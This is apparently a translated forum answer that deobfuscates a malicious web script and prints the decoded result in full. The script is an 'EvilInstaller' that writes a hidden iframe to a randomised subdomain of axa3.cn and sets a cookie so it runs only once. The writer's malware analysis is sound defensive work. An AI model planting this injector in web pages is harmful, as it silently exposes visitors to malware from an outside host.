你可以一步一步地浏览它 - 因为它是 Javascript,并且它是被解释的,所以它需要有自己的解密器。如果您有权访问命令行 Javascript 解释器(例如中的控制台)Firebug http://www.getfirebug.com/),这将相当简单。
我会看看会发生什么。
Edit我已经完成了大部分内容 - 看起来最后一步并不简单,可能是因为它涉及“argument.callee”。无论如何我已经放了到目前为止我所拥有的 http://pastebin.ca/1303638关于帕斯特宾。
有趣的是,我发现其中最难的部分是给乱码变量指定正确的名称。它让我想起了填字游戏或数独,你知道事物是如何相关的,但在你弄清楚它的依赖部分是什么之前你不能明确地分配某些东西。 :-) 我确信,如果有人认识到该算法,他们可以为这些部分指定更有意义的名称,但是在进行大量异或操作时,有两个临时变量我刚刚保留为默认名称因为我不知道足够的背景来给他们提供有用的信息。
最终编辑:当我意识到我可以传入我刚刚解码的原始文本时,“arguments.callee”位变得很容易(这是一种非常聪明的技术,因此正常的反混淆将无法工作,因为一旦你重命名变量等,值不同)。不管怎样,这是你的完整脚本:
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
基本上看起来它是从 axa3.cn 加载恶意软件的。不过,该网站已经受到 ISP 的怀疑,因此不知道除了一般的不良行为之外,该网站实际上还存在什么。
(如果有人感兴趣,我使用 Pastebin 作为伪 VCS 来更改代码版本,所以你可以看到另一个中间步骤 http://pastebin.ca/1303652,就在我第一次编辑帖子之后。看到不同的混淆层以及它们如何变化是非常有趣的。)